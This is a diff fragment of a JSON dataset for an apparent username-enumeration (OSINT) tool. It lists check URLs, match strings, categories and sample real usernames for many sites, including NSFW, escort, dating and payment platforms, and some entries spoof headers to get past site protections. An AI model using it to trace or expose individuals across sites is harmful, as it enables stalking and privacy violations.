"m_string": "error", + "m_code": 404, + "known": [ + "honey", + "dude" + ], + "cat": "finance" + }, + { + "name": "StreamLabs", + "uri_check": "https://streamlabs.com/api/v6/user/{account}", + "uri_pretty": "https://streamlabs.com/{account}/tip", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "Unauthorized", + "m_code": 401, + "known": [ + "veibae", + "cutie_cori" + ], + "cat": "finance" + }, + { + "name": "Stripchat", + "uri_check": "https://stripchat.com/api/front/users/checkUsername?username={account}", + "uri_pretty": "https://stripchat.com/{account}", + "e_code": 400, + "e_string": "\"error\":\"This username already exists\"", + "m_string": "[]", + "m_code": 200, + "known": [ + "DulcieRichard", + "Katie-Mili" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Subscribestar", + "uri_check": "https://subscribestar.adult/{account}", + "e_code": 200, + "e_string": "CREATOR STATS", + "m_string": "WE ARE SORRY, THE PAGE YOU REQUESTED CANNOT BE FOUND", + "m_code": 404, + "known": [ + "missmoonified", + "honey" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Substack", + "uri_check": "https://substack.com/@{account}", + "e_code": 200, + "e_string": "| Substack", + "m_string": "" on Substack", + "m_code": 200, + "known": [ + "janellehardacre", + "janeclairebradley" + ], + "cat": "social" + }, + { + "name": "sukebei.nyaa.si", + "uri_check": "https://sukebei.nyaa.si/user/{account}", + "e_code": 200, + "e_string": "'s torrents", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "kouhy76", + "Rektr0" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Suzuri", + "uri_check": "https://suzuri.jp/{account}", + "e_code": 200, + "e_string": "Items", + "m_string": "Push Space-key", + "m_code": 404, + "known": [ + "itochanxxx", + "alex" + ], + "cat": "business" + }, + { + "name": "szmer.info", + "uri_check": "https://szmer.info/u/{account}", + "e_code": 200, + "e_string": "Joined", + "m_string": "Code: Couldn't find that username or email.", + "m_code": 200, + "known": [ + "przeczzpreczem", + "Xavier" + ], + "cat": "social" + }, + { + "name": "tabletoptournament", + "uri_check": "https://www.tabletoptournaments.net/eu/player/{account}", + "e_code": 200, + "e_string": "- Player Profile | T³ - TableTop Tournaments", + "m_string": "No player with the nickname", + "m_code": 200, + "known": [ + "Lars01", + "john" + ], + "cat": "misc" + }, + { + "name": "Tagged", + "uri_check": "https://secure.tagged.com/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "Tagged - The social network for meeting new people", + "m_code": 302, + "known": [ + "Samantha", + "Robert" + ], + "cat": "social" + }, + { + "name": "TamTam", + "uri_check": "https://tamtam.chat/{account}", + "e_code": 200, + "e_string": "deeplink=tamtam://chat/", + "m_string": "ТамТам", + "m_code": 302, + "known": [ + "blue", + "John" + ], + "cat": "social" + }, + { + "name": "Tanuki.pl", + "uri_check": "https://tanuki.pl/profil/{account}", + "e_code": 200, + "e_string": "Dołączył", + "m_string": "Nie ma takiego użytkownika", + "m_code": 404, + "known": [ + "ania", + "avellana" + ], + "cat": "hobby" + }, + { + "name": "TAPiTAG", + "uri_check": "https://account.tapitag.co/tapitag/api/v1/{account}", + "uri_pretty": "https://account.tapitag.co/{account}", + "e_code": 200, + "e_string": "User details are Showing", + "m_string": "The rf number is not valid", + "m_code": 200, + "known": [ + "JonathanWallace", + "gearoidconsidine" + ], + "cat": "business" + }, + { + "name": "Tappy", + "uri_check": "https://api.tappy.tech/api/profile/username/{account}", + "uri_pretty": "https://www.tappy.tech/{account}", + "e_code": 200, + "e_string": "user_id", + "m_string": "Profile of username Not Found", + "m_code": 200, + "known": [ + "alexborrelli", + "domocann" + ], + "cat": "business" + }, + { + "name": "Taringa", + "uri_check": "https://www.taringa.net/{account}", + "e_code": 200, + "e_string": " en Taringa!", + "m_string": "Colectiva en Taringa!", + "m_code": 301, + "known": [ + "jocaxav", + "engendrometal" + ], + "cat": "social" + }, + { + "name": "Taringa Archived Profile", + "uri_check": "https://archive.org/wayback/available?url=https://www.taringa.net/{account}", + "uri_pretty": "https://web.archive.org/web/2/taringa.net/{account}", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "farantic", + "elrubius" + ], + "cat": "archived" + }, + { + "name": "taskrabbit", + "uri_check": "https://www.taskrabbit.com/profile/{account}/about", + "e_code": 200, + "e_string": "’s Profile", + "m_string": "", + "m_code": 302, + "known": [ + "john", + "sam" + ], + "cat": "business" + }, + { + "name": "Teamtreehouse", + "uri_check": "https://teamtreehouse.com/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "Oops, Something went missing", + "m_code": 404, + "known": [ + "john" + ], + "cat": "coding" + }, + { + "name": "Teddygirls", + "uri_check": "https://teddysgirls.net/models/{account}", + "e_code": 200, + "e_string": ";s exclusive page to subscribe to her", + "m_string": "The page you were looking for doesn't exist", + "m_code": 404, + "known": [ + "jaycee-starr", + "chubbychick94" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Teespring", + "uri_check": "https://commerce.teespring.com/v1/stores?slug={account}", + "uri_pretty": "https://{account}.creator-spring.com", + "e_code": 200, + "e_string": "sellerToken", + "m_string": "{\"errors\":{\"store\":[\"not found\"]}}", + "m_code": 404, + "known": [ + "missmoonified", + "honey" + ], + "cat": "business" + }, + { + "name": "Teknik", + "uri_check": "https://user.teknik.io/{account}", + "e_code": 200, + "e_string": "Public Key", + "m_string": "The user does not exist", + "m_code": 200, + "known": [ + "red", + "bob" + ], + "cat": "tech" + }, + { + "name": "Telegram", + "uri_check": "https://t.me/{account}", + "e_code": 200, + "e_string": "tgme_page_title", + "m_string": "noindex, nofollow", + "m_code": 200, + "known": [ + "alice", + "giovanni" + ], + "cat": "social" + }, + { + "name": "Teletype", + "uri_check": "https://teletype.in/@{account}", + "e_code": 200, + "e_string": "class=\"layout__content m_main blog\"", + "m_string": "class=\"error\"", + "m_code": 404, + "known": [ + "mart11", + "anotherj" + ], + "cat": "blog" + }, + { + "name": "Tellonym", + "uri_check": "https://api.tellonym.me/profiles/name/{account}", + "uri_pretty": "https://tellonym.me/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"code\":\"NOT_FOUND\"", + "m_code": 404, + "known": [ + "jane", + "jimmy" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Tenor", + "uri_check": "https://tenor.com/users/{account}", + "e_code": 200, + "e_string": "class=\"ProfilePage page\"", + "m_string": "class=\"error-page container page\"", + "m_code": 404, + "known": [ + "maggie342", + "d33jay23" + ], + "cat": "images" + }, + { + "name": "TETR.IO", + "uri_check": "https://ch.tetr.io/api/users/{account}", + "uri_pretty": "https://ch.tetr.io/u/{account}", + "e_code": 200, + "e_string": "\"success\":true", + "m_string": "\"success\":false", + "m_code": 404, + "known": [ + "icly", + "5han" + ], + "cat": "gaming" + }, + { + "name": "TF2 Backpack Examiner", + "uri_check": "http://www.tf2items.com/id/{account}/", + "e_code": 200, + "e_string": "TF2 Backpack -", + "m_string": "", + "m_code": 302, + "known": [ + "test" + ], + "cat": "gaming" + }, + { + "name": "thegatewaypundit", + "uri_check": "https://www.thegatewaypundit.com/author/{account}/", + "e_code": 200, + "e_string": "summary", + "m_string": "Not found, error 404", + "m_code": 404, + "known": [ + "patti", + "joehoft" + ], + "cat": "political" + }, + { + "name": "theguardian", + "uri_check": "https://www.theguardian.com/profile/{account}", + "e_code": 200, + "e_string": "<h2 class=\"dcr-1ln6kec\">", + "m_string": "<title>Page Not Found | The Guardian", + "m_code": 404, + "known": [ + "minna-salami", + "johnnaughton" + ], + "cat": "news" + }, + { + "name": "themeforest", + "uri_check": "https://themeforest.net/user/{account}", + "e_code": 200, + "e_string": "s profile on ThemeForest", + "m_string": "Page Not Found | ThemeForest", + "m_code": 301, + "known": [ + "john", + "bob" + ], + "cat": "art" + }, + { + "name": "Thetattooforum", + "uri_check": "https://www.thetattooforum.com/members/{account}/", + "e_code": 200, + "e_string": "Insert This Gallery", + "m_string": "We’re sorry", + "m_code": 500, + "known": [ + "mixdop", + "modifyielts" + ], + "cat": "art" + }, + { + "name": "thoughts", + "uri_check": "https://thoughts.com/members/{account}/", + "e_code": 200, + "e_string": "Page not found", + "m_code": 404, + "known": [ + "myownpersonalthoughts", + "danwions" + ], + "cat": "hobby" + }, + { + "name": "Threads.net", + "uri_check": "https://www.threads.net/@{account}", + "e_code": 200, + "e_string": ") on Threads", + "m_string": "Threads", + "m_code": 200, + "known": [ + "s_novoselov", + "oliveralexanderdk" + ], + "cat": "social" + }, + { + "name": "TikTok", + "uri_check": "https://www.tiktok.com/oembed?url=https://www.tiktok.com/@{account}", + "uri_pretty": "https://www.tiktok.com/@{account}?lang=en", + "e_code": 200, + "e_string": "author_url", + "m_string": "Something went wrong", + "m_code": 400, + "known": [ + "gordonramsayofficial", + "pookiebear73" + ], + "cat": "social" + }, + { + "name": "Tilde.zone (Mastodon Instance)", + "uri_check": "https://tilde.zone/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://tilde.zone/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "ben", + "lunatic" + ], + "cat": "social" + }, + { + "name": "Tinder", + "uri_check": "https://tinder.com/@{account}", + "e_code": 200, + "e_string": ") | Tinder", + "m_string": "Tinder | Dating, Make Friends & Meet New People", + "m_code": 200, + "known": [ + "Alexey", + "peter", + "john" + ], + "cat": "dating" + }, + { + "name": "Tindie", + "uri_check": "https://www.tindie.com/accounts/check_username/", + "uri_pretty": "https://www.tindie.com/stores/{account}/", + "post_body": "username={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "e_code": 200, + "e_string": "\"errors\": [\"Username taken!\"]", + "m_string": "\"valid\": true", + "m_code": 200, + "known": [ + "tehrabbitt", + "dekunukem" + ], + "cat": "shopping" + }, + { + "name": "TipeeeStream", + "uri_check": "https://www.tipeeestream.com/v3.0/pages/{account}", + "uri_pretty": "https://www.tipeeestream.com/{account}/", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"message\":\"Not found\"", + "m_code": 404, + "known": [ + "gagzzz", + "larebouille" + ], + "cat": "finance" + }, + { + "name": "Tooting.ch (Mastodon Instance)", + "uri_check": "https://tooting.ch/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://tooting.ch/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "mikebeganyi", + "Zugi" + ], + "cat": "social" + }, + { + "name": "Topcoder", + "uri_check": "https://api.topcoder.com/v5/members/{account}", + "uri_pretty": "https://profiles.topcoder.com/{account}", + "e_code": 200, + "e_string": "\"userId\":", + "m_string": "\"message\":\"Member with handle:", + "m_code": 404, + "known": [ + "chinvib66", + "mwakanosya" + ], + "cat": "coding" + }, + { + "name": "toyhou.se", + "uri_check": "https://toyhou.se/{account}", + "e_code": 200, + "e_string": "display-user", + "m_string": "We can't find that page!", + "m_code": 404, + "known": [ + "22RII", + "honey" + ], + "cat": "hobby" + }, + { + "name": "tradingview", + "uri_check": "https://www.tradingview.com/u/{account}/", + "e_code": 200, + "e_string": "— Trading Ideas &", + "m_string": "Page not found — TradingView", + "m_code": 404, + "known": [ + "liam", + "john" + ], + "cat": "finance" + }, + { + "name": "trakt", + "uri_check": "https://trakt.tv/users/{account}", + "e_code": 200, + "e_string": "s profile - Trakt", + "m_string": "The page you were looking for doesn't exist (404) - Trakt.tv", + "m_code": 404, + "known": [ + "john", + "anne" + ], + "cat": "video" + }, + { + "name": "TRAKTRAIN", + "uri_check": "https://traktrain.com/{account}", + "e_code": 200, + "e_string": "id=\"userId\"", + "m_string": "class=\"title-404\"", + "m_code": 404, + "known": [ + "terrotuga", + "fr4ud" + ], + "cat": "music" + }, + { + "name": "Trello", + "uri_check": "https://trello.com/1/Members/{account}", + "uri_pretty": "https://trello.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "

    Oh no! 404!

    ", + "m_code": 404, + "known": [ + "naranjasan", + "jane" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "tripadvisor", + "uri_check": "https://www.tripadvisor.com/Profile/{account}", + "e_code": 200, + "e_string": "Contributions", + "m_string": "This page is on vacation", + "m_code": 404, + "known": [ + "john", + "peter" + ], + "cat": "social" + }, + { + "name": "TruckersMP", + "uri_check": "https://truckersmp.com/user/search?search={account}", + "e_code": 200, + "e_string": "class=\"team-v2\"", + "m_string": "

    Could not find any member using these credentials

    ", + "m_code": 200, + "known": [ + "JohnnySOBA", + "Vasya_Run" + ], + "cat": "gaming" + }, + { + "name": "TruckersMP.Ru", + "uri_check": "https://truckersmp.ru/{account}", + "e_code": 200, + "e_string": "class=\"b-user-page\"", + "m_string": "class=\"b-handler-error-404\"", + "m_code": 404, + "known": [ + "ramanbardashevich", + "Sanya193Rus" + ], + "cat": "gaming" + }, + { + "name": "Truth Social", + "uri_check": "https://truthsocial.com/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://truthsocial.com/@{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error\":\"Record not found\"", + "m_code": 404, + "known": [ + "realdonaldtrump", + "ScottAdamsTruth" + ], + "cat": "social" + }, + { + "name": "TryHackMe", + "uri_check": "https://tryhackme.com/api/user/exist/{account}", + "uri_pretty": "https://tryhackme.com/r/p/{account}", + "e_code": 200, + "e_string": "\"success\":true", + "m_string": "\"success\":false", + "m_code": 200, + "known": [ + "user", + "goyalyuval15" + ], + "cat": "tech" + }, + { + "name": "Tryst", + "uri_check": "https://tryst.link/escort/{account}", + "e_code": 200, + "e_string": "Caters to
    ", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "lpatterson32", + "kansasgirl69" + ], + "cat": "xx NSFW xx" + }, + { + "name": "tumblr", + "uri_check": "https://{account}.tumblr.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "avatar", + "m_string": "There's nothing here", + "m_code": 404, + "known": [ + "test", + "test1" + ], + "cat": "images" + }, + { + "name": "tunefind", + "uri_check": "https://www.tunefind.com/api-request/account/profile?userName={account}", + "uri_pretty": "https://www.tunefind.com/user/profile/{account}", + "e_code": 200, + "e_string": "\"user-stats-engagement\":", + "m_string": "\"code\":\"not_found\"", + "m_code": 404, + "known": [ + "baywolfmusic", + "mrcerny18", + "4evryng" + ], + "cat": "music" + }, + { + "name": "Twitcasting", + "uri_check": "https://twitcasting.tv/{account}", + "e_code": 200, + "e_string": "Live History", + "m_string": "Not Found", + "m_code": 302, + "known": [ + "yuno___nico", + "2_t0_" + ], + "cat": "social" + }, + { + "name": "Twitch", + "uri_check": "https://twitchtracker.com/{account}", + "uri_pretty": "https://twitch.tv/{account}/", + "e_code": 200, + "e_string": "Overview</a>", + "m_string": "<title>404 Page Not Found", + "m_code": 404, + "known": [ + "summit1g", + "cohhcarnage" + ], + "cat": "gaming" + }, + { + "name": "Twitter archived profile", + "uri_check": "http://archive.org/wayback/available?url=https://twitter.com/{account}", + "uri_pretty": "https://web.archive.org/web/2/https://twitter.com/{account}", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "jack", + "dineshdsouza" + ], + "cat": "archived" + }, + { + "name": "Twitter archived tweets", + "uri_check": "http://archive.org/wayback/available?url=https://twitter.com/{account}/status/*", + "uri_pretty": "https://web.archive.org/web/*/https://twitter.com/{account}/status/*", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "jack", + "dineshdsouza" + ], + "cat": "archived" + }, + { + "name": "twoplustwo", + "uri_check": "https://forumserver.twoplustwo.com/ajax.php?do=usersearch", + "uri_pretty": "https://forumserver.twoplustwo.com/search.php", + "post_body": "securitytoken=guest&do=usersearch&fragment={account}", + "e_code": 200, + "e_string": "userid=", + "m_string": "", + "m_code": 404, + "known": [ + "redsox", + "adam" + ], + "cat": "hobby" + }, + { + "name": "twpro", + "uri_check": "https://twpro.jp/{account}", + "e_code": 200, + "e_string": "おとなりさん", + "m_string": "をご確認ください。", + "m_code": 404, + "known": [ + "wsise47", + "tsukiusa630" + ], + "cat": "social" + }, + { + "name": "Ubisoft", + "uri_check": "https://discussions.ubisoft.com/user/{account}", + "e_code": 200, + "e_string": "| Ubisoft Discussion Forums", + "m_string": "You seem to have stumbled upon a page that does not exist.", + "m_code": 404, + "known": [ + "fizzle_fuze", + "th05324" + ], + "cat": "gaming" + }, + { + "name": "Udemy", + "uri_check": "https://www.udemy.com/user/{account}/", + "e_code": 200, + "e_string": "| Udemy", + "m_string": "Online Courses - Learn Anything, On Your Schedule | Udemy", + "m_code": 301, + "known": [ + "stephane-maarek", + "lizbrown3" + ], + "cat": "tech" + }, + { + "name": "UEF CONNECT", + "uri_check": "https://uefconnect.uef.fi/en/{account}/", + "e_code": 200, + "e_string": "profile-page-header__info", + "m_string": "Page not found - UEFConnect", + "m_code": 404, + "known": [ + "heli.mutanen", + "mette.heiskanen" + ], + "cat": "business" + }, + { + "name": "uid", + "uri_check": "http://uid.me/{account}", + "e_code": 200, + "e_string": "- uID.me", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "john", + "peter" + ], + "cat": "social" + }, + { + "name": "Ultimate Guitar", + "uri_check": "https://www.ultimate-guitar.com/u/{account}", + "e_code": 200, + "e_string": " | Ultimate-Guitar.Com", + "m_string": "Oops! We couldn't find that page.", + "m_code": 410, + "known": [ + "LYNX-Music", + "Mikhailo", + "MeGaDeth2314" + ], + "cat": "hobby" + }, + { + "name": "Ultras Diary", + "uri_check": "http://ultrasdiary.pl/u/{account}/", + "e_code": 200, + "e_string": "Mecze wyjazdowe:", + "m_string": "Ile masz wyjazdów?", + "m_code": 404, + "known": [ + "janek", + "kowal" + ], + "cat": "hobby" + }, + { + "name": "Unlisted Videos", + "uri_check": "https://unlistedvideos.com/search.php?user={account}", + "e_code": 200, + "e_string": "Date submitted", + "m_string": "content=\"\"/>", + "m_code": 200, + "known": [ + "emudshit", + "hirumaredx" + ], + "cat": "archived" + }, + { + "name": "unsplash", + "uri_check": "https://unsplash.com/@{account}", + "e_code": 200, + "e_string": "| Unsplash Photo Community", + "m_string": "Hm, the page you were looking for doesn't seem to exist anymore.", + "m_code": 404, + "known": [ + "john", + "alex" + ], + "cat": "images" + }, + { + "name": "Untappd", + "uri_check": "https://untappd.com/user/{account}/", + "e_code": 200, + "e_string": "class=\"cont user_profile\"", + "m_string": "class=\"search_404\"", + "m_code": 404, + "known": [ + "Welcomenetguy", + "patpatcarney" + ], + "cat": "social" + }, + { + "name": "USA Life", + "uri_check": "https://usa.life/{account}", + "e_code": 200, + "e_string": "Please log in to like, share and comment", + "m_string": "Sorry, page not found", + "m_code": 302, + "known": [ + "abaynes79", + "not1face" + ], + "cat": "social" + }, + { + "name": "utip.io", + "uri_check": "https://utip.io/creator/profile/{account}", + "uri_pretty": "https://utip.io/{account}", + "e_code": 200, + "e_string": "\"userName\"", + "m_string": "Not a valid web service key", + "m_code": 404, + "known": [ + "honey", + "chloe" + ], + "cat": "finance" + }, + { + "name": "uwu.ai", + "uri_check": "https://{account}.uwu.ai/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "property=\"twitter:card\"", + "m_string": "Sorry, the requested page could not be found.", + "m_code": 404, + "known": [ + "elite", + "citruciel" + ], + "cat": "social" + }, + { + "name": "Uwumarket", + "uri_check": "https://uwumarket.us/collections/{account}", + "e_code": 200, + "e_string": "collection-hero__text-wrapper", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "saki", + "aicandii" + ], + "cat": "business" + }, + { + "name": "vapenews", + "uri_check": "https://vapenews.ru/profile/{account}", + "e_code": 200, + "e_string": "Профиль", + "m_string": "404", + "m_code": 404, + "known": [ + "igor", + "vladimir" + ], + "cat": "hobby" + }, + { + "name": "Venmo", + "uri_check": "https://account.venmo.com/u/{account}", + "e_code": 200, + "e_string": "profileInfo_username__", + "m_string": "Sorry, the page you requested does not exist!", + "m_code": 404, + "known": [ + "John-Goolsby-8", + "kate-mura" + ], + "cat": "finance" + }, + { + "name": "Vero", + "uri_check": "https://vero.co/{account}", + "e_code": 200, + "e_string": "name=\"username", + "m_string": "

    Not Found

    ", + "m_code": 200, + "known": [ + "alex", + "johnny" + ], + "cat": "art" + }, + { + "name": "vibilagare", + "uri_check": "https://www.vibilagare.se/users/{account}", + "e_code": 200, + "e_string": "Profil på vibilagare.se", + "m_string": "Sidan hittades inte |", + "m_code": 404, + "known": [ + "lars01", + "sven" + ], + "cat": "misc" + }, + { + "name": "VIEWBUG", + "uri_check": "https://www.viewbug.com/member/{account}", + "e_code": 200, + "e_string": "class=\"top-profile-since\"", + "m_string": "id=\"missing-this\"", + "m_code": 404, + "known": [ + "soulcraft", + "aychmb" + ], + "cat": "hobby" + }, + { + "name": "Vimeo", + "uri_check": "https://vimeo.com/{account}", + "e_code": 200, + "e_string": "og:type", + "m_string": "VimeUhOh", + "m_code": 404, + "known": [ + "john", + "alice" + ], + "cat": "video" + }, + { + "name": "Vine", + "uri_check": "https://vine.co/api/users/profiles/vanity/{account}", + "uri_pretty": "https://vine.co/{account}", + "e_code": 200, + "e_string": "userId", + "m_string": "That record does not exist", + "m_code": 404, + "known": [ + "TomHarlock", + "Seks" + ], + "cat": "video" + }, + { + "name": "VIP-blog", + "uri_check": "http://{account}.vip-blog.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "blog : ", + "m_string": "Blog inexistant", + "m_code": 200, + "known": [ + "sarah", + "brahim01" + ], + "cat": "blog" + }, + { + "name": "VirusTotal", + "uri_check": "https://www.virustotal.com/ui/users/{account}", + "uri_pretty": "https://www.virustotal.com/gui/user/{account}", + "headers": { + "Accept-Ianguage": "en-US", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0", + "X-Tool": "vt-ui-main", + "X-VT-Anti-Abuse-Header": "MTAxOTFwMDcxOTEtWkc5dWRDQmlaU0JsZG2scy5xNzE4Mjc1NDI0LjUzMw==" + }, + "e_code": 200, + "e_string": "\"data\"", + "m_string": "\"code\": \"NotFoundError\"", + "m_code": 404, + "known": [ + "cyber", + "cybersecstu" + ], + "cat": "misc" + }, + { + "name": "visnesscard", + "uri_check": "https://my.visnesscard.com/Home/GetCard/{account}", + "uri_pretty": "https://my.visnesscard.com/{account}", + "e_code": 200, + "e_string": "end_point", + "m_string": "card_id\": 0", + "m_code": 200, + "known": [ + "Lisa-Gordon", + "Bill-Schaeffer" + ], + "cat": "business" + }, + { + "name": "Vivino", + "uri_check": "https://www.vivino.com/users/{account}", + "e_code": 200, + "e_string": "", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "test", + "admin" + ], + "cat": "video" + }, + { + "name": "VK", + "uri_check": "https://vk.com/{account}", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:125.0) Gecko/20100101 Firefox/125.0" + }, + "e_code": 200, + "e_string": "content=\"profile\"", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "ches_ches", + "mike.kidlazy" + ], + "cat": "social" + }, + { + "name": "Vkl.world (Mastodon Instance)", + "uri_check": "https://vkl.world/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://vkl.world/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "king", + "aniver" + ], + "cat": "social" + }, + { + "name": "Vmst.io (Mastodon Instance)", + "uri_check": "https://vmst.io/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://vmst.io/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "vmstan", + "honestdave" + ], + "cat": "social" + }, + { + "name": "Voice123", + "uri_check": "https://voice123.com/api/providers/search/{account}", + "uri_pretty": "https://voice123.com/{account}", + "e_code": 200, + "e_string": "user_id", + "m_string": "[]", + "m_code": 200, + "known": [ + "dottovuu", + "maheshsaha1992" + ], + "cat": "hobby" + }, + { + "name": "Voices.com", + "uri_check": "https://www.voices.com/profile/{account}/", + "e_code": 200, + "e_string": "Last Online

    ", + "m_string": "Try going back to the previous page or see below for more options", + "m_code": 301, + "known": [ + "briankirchoff", + "bryankopta" + ], + "cat": "business" + }, + { + "name": "vsco", + "uri_check": "https://vsco.co/{account}/gallery", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" + }, + "e_code": 200, + "e_string": "permaSubdomain", + "m_string": "\"error\":\"site_not_found\"}", + "m_code": 404, + "known": [ + "sam", + "becca" + ], + "cat": "social" + }, + { + "name": "W3Schools", + "uri_check": "https://pathfinder-api.kai.w3spaces.com/public-profile-api/{account}", + "e_code": 200, + "e_string": "\"userId\":", + "m_string": "\"message\":\"Profile does not exists or not visible\"", + "m_code": 404, + "known": [ + "test", + "admin" + ], + "cat": "tech" + }, + { + "name": "Wakatime", + "uri_check": "https://wakatime.com/@{account}", + "e_code": 200, + "e_string": ") - WakaTime", + "m_string": "404: Not Found", + "m_code": 404, + "known": [ + "jake", + "alimirzayev" + ], + "cat": "coding" + }, + { + "name": "Warmerise", + "uri_check": "https://warmerise.com/profile/{account}", + "e_code": 200, + "e_string": "<div id='profile_photo", + "m_string": "<h2>Page Not Found", + "m_code": 404, + "known": [ + "alfrevid", + "thepro" + ], + "cat": "gaming" + }, + { + "name": "warriorforum", + "uri_check": "https://www.warriorforum.com/members/{account}.html", + "e_code": 200, + "e_string": "Last Activity:", + "m_string": "Oops | Warrior Forum -", + "m_code": 400, + "known": [ + "alex", + "discrat" + ], + "cat": "hobby" + }, + { + "name": "watchmemore.com", + "uri_check": "https://api.watchmemore.com/api4/profile/{account}/", + "uri_pretty": "https://watchmemore.com/{account}/", + "e_code": 200, + "e_string": "displayName", + "m_string": "notExists", + "m_code": 400, + "known": [ + "medroxy", + "nodjev" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Watchmyfeed", + "uri_check": "https://watchmyfeed.com/{account}", + "e_code": 200, + "e_string": "SEND ME A TIP", + "m_string": "", + "m_code": 302, + "known": [ + "jennifer-ann", + "shay-loveless" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Wattpad", + "uri_check": "https://www.wattpad.com/api/v3/users/{account}", + "uri_pretty": "https://www.wattpad.com/user/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"error_code\":", + "m_code": 400, + "known": [ + "newadult", + "Test123" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "waytohey", + "uri_check": "https://waytohey.com/{account}", + "e_code": 200, + "e_string": "Send message</span>", + "m_string": "Unfortunately, this page doesn't exist.", + "m_code": 404, + "known": [ + "igor", + "anna" + ], + "cat": "social" + }, + { + "name": "Weasyl", + "uri_check": "https://www.weasyl.com/~{account}", + "e_code": 200, + "e_string": "profile — Weasyl", + "m_string": "This user doesn't seem to be in our database.", + "m_code": 404, + "known": [ + "weasyl", + "test" + ], + "cat": "images" + }, + { + "name": "Weblancer", + "uri_check": "https://www.weblancer.net/users/{account}/", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" + }, + "e_code": 200, + "e_string": "\"user\":", + "m_string": "\"page\":\"/404\"", + "m_code": 404, + "known": [ + "kevin", + "WebArtyom" + ], + "cat": "social" + }, + { + "name": "Weblate", + "uri_check": "https://hosted.weblate.org/user/{account}/", + "e_code": 200, + "e_string": "class=\"user-page text-center\"", + "m_string": "

    Page Not Found

    ", + "m_code": 404, + "known": [ + "login836039", + "Datura0808" + ], + "cat": "hobby" + }, + { + "name": "weebly", + "uri_check": "https://{account}.weebly.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "
    ", + "m_string": "404 - Page Not Found", + "m_code": 404, + "known": [ + "dave", + "john" + ], + "cat": "misc" + }, + { + "name": "wego", + "uri_check": "https://wego.social/{account}", + "e_code": 200, + "e_string": "Following</span>", + "m_string": "Sorry, page not found!", + "m_code": 302, + "known": [ + "mmish2", + "Lisa_M_S" + ], + "cat": "political" + }, + { + "name": "weheartit", + "uri_check": "https://weheartit.com/{account}", + "e_code": 200, + "e_string": " on We Heart It", + "m_string": " (404)", + "m_code": 404, + "known": [ + "alice", + "bob" + ], + "cat": "social" + }, + { + "name": "Weibo", + "uri_check": "https://weibo.com/ajax/profile/info?custom={account}", + "uri_pretty": "https://weibo.com/{account}", + "e_code": 200, + "e_string": "\"user\":", + "m_string": "

    400 Bad Request

    ", + "m_code": 400, + "known": [ + "guoailun12", + "fbb0916" + ], + "cat": "social" + }, + { + "name": "WeTransfer", + "uri_check": "https://{account}.wetransfer.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "workspaceName", + "m_string": "", + "m_code": 307, + "known": [ + "mark", + "joe" + ], + "cat": "misc" + }, + { + "name": "Wikidot", + "uri_check": "http://www.wikidot.com/user:info/{account}", + "e_code": 200, + "e_string": "

    ", + "m_string": "
    User does not exist.
